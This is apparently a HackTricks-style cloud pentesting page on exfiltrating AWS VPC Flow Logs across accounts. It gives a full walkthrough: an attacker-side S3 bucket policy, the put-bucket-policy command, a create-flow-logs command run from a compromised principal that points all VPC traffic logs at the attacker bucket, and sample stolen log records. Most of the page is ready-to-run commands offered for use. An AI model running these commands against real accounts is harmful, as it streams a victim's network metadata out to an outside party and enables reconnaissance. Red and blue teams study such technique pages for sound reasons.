# AWS - VPC Flow Logs Cross-Account Exfiltration to S3

{{#include ../../../../banners/hacktricks-training.md}}

## Summary
Abuse `ec2:CreateFlowLogs` to export VPC, subnet, or ENI flow logs directly to an attacker-controlled S3 bucket. Once the delivery role is configured to write to the external bucket, every connection seen on the monitored resource is streamed out of the victim account.

## Requirements
- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created).
- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`.
- Optional: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here).

## Attack Walkthrough

1) **Attacker** prepares an S3 bucket policy (in attacker account) that allows the VPC Flow Logs delivery service to write objects. Replace placeholders before applying:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowVPCFlowLogsDelivery",
      "Effect": "Allow",
      "Principal": { "Service": "delivery.logs.amazonaws.com" },
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
      "Condition": {
        "StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
      }
    }
  ]
}
```

Apply from the attacker account:

```bash
aws s3api put-bucket-policy \
  --bucket <attacker-bucket> \
  --policy file://flowlogs-policy.json
```

2) **Victim** (compromised principal) creates the flow logs targeting the attacker bucket:

```bash
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
  --resource-type VPC \
  --resource-ids "$VPC_ID" \
  --traffic-type ALL \
  --log-destination-type s3 \
  --log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
  --deliver-logs-permission-arn "$ROLE_ARN" \
  --region "$REGION"
```

Within minutes, flow log files appear in the attacker bucket containing connections for all ENIs in the monitored VPC/subnet.

## Evidence

Sample flow log records written to the attacker bucket:

```text
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
```

Bucket listing proof:

```bash
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
```

## Impact
- Continuous network metadata exfiltration (source/destination IPs, ports, protocols) for the monitored VPC/subnet/ENI.
- Enables traffic analysis, identification of sensitive services, and potential hunting for security group misconfigurations from outside the victim account.

{{#include ../../../../banners/hacktricks-training.md}}
